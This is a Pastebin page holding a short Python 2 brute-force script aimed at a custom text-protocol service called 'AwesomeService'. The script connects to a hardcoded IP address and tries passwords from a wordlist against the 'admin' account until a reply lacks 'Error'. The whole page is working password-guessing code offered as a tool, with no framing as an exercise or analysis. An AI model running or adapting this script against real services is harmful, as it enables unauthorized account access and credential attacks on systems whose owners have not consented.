Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # This tool is meant to BruteForce AwesomeService.
- # The service offers authentication mechanism.
- # Authentication process:
- # -> [Receive Banner] (One time)
- # <- "AUTH"
- # -> [Receive Text]
- # <- "NAME <user> WITH KEY <pass>"
- # -> Response
- # (Repeat from "AUTH")
- import socket
- from time import asctime
- WORDLIST_PATH = "C:/Users/tal/awesome_service_bf/assets/passlist.txt"
- SERVICE_HOST = "52.59.53.112"
- SERVICE_PORT = 80
- SERVICE_USERNAME = "admin"
- def main():
- target = create_service_socket()
- passlist = create_wordlist(WORDLIST_PATH)
- log("Bruteforcing...")
- for password in passlist:
- target.send("AUTH\n")
- target.recv(1024)
- target.send("NAME {} WITH KEY {}\n".format(SERVICE_USERNAME, password))
- answer = target.recv(1024)
- try:
- answer.index("Error")
- except ValueError as err:
- log("Found password: {}".format(password))
- break
- else:
- continue
- def create_service_socket():
- log("Connecting to target service...")
- service_socket = socket.socket()
- try:
- service_socket.connect((SERVICE_HOST, SERVICE_PORT))
- except socket.error as err:
- error("Error connecting to service.", err)
- else:
- log("Receiving banner...")
- log("Input: {}".format(remove_newline(service_socket.recv(1024))))
- return service_socket
- def create_wordlist(filepath):
- try:
- wordlist = open(filepath, "r").read().split('\n')
- except IOError as err:
- error("Error creating wordlist.", err)
- else:
- fixed_wordlist = []
- for line in wordlist:
- fixed_wordlist.append(line.split(' ')[1])
- return fixed_wordlist
- def log(msg):
- print "[{}] {}".format(asctime(), msg)
- def error(msg, err):
- log(msg)
- if err:
- print err
- quit()
- def remove_newline(text):
- while text[-1] == '\n':
- text = text[:-1]
- return text
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement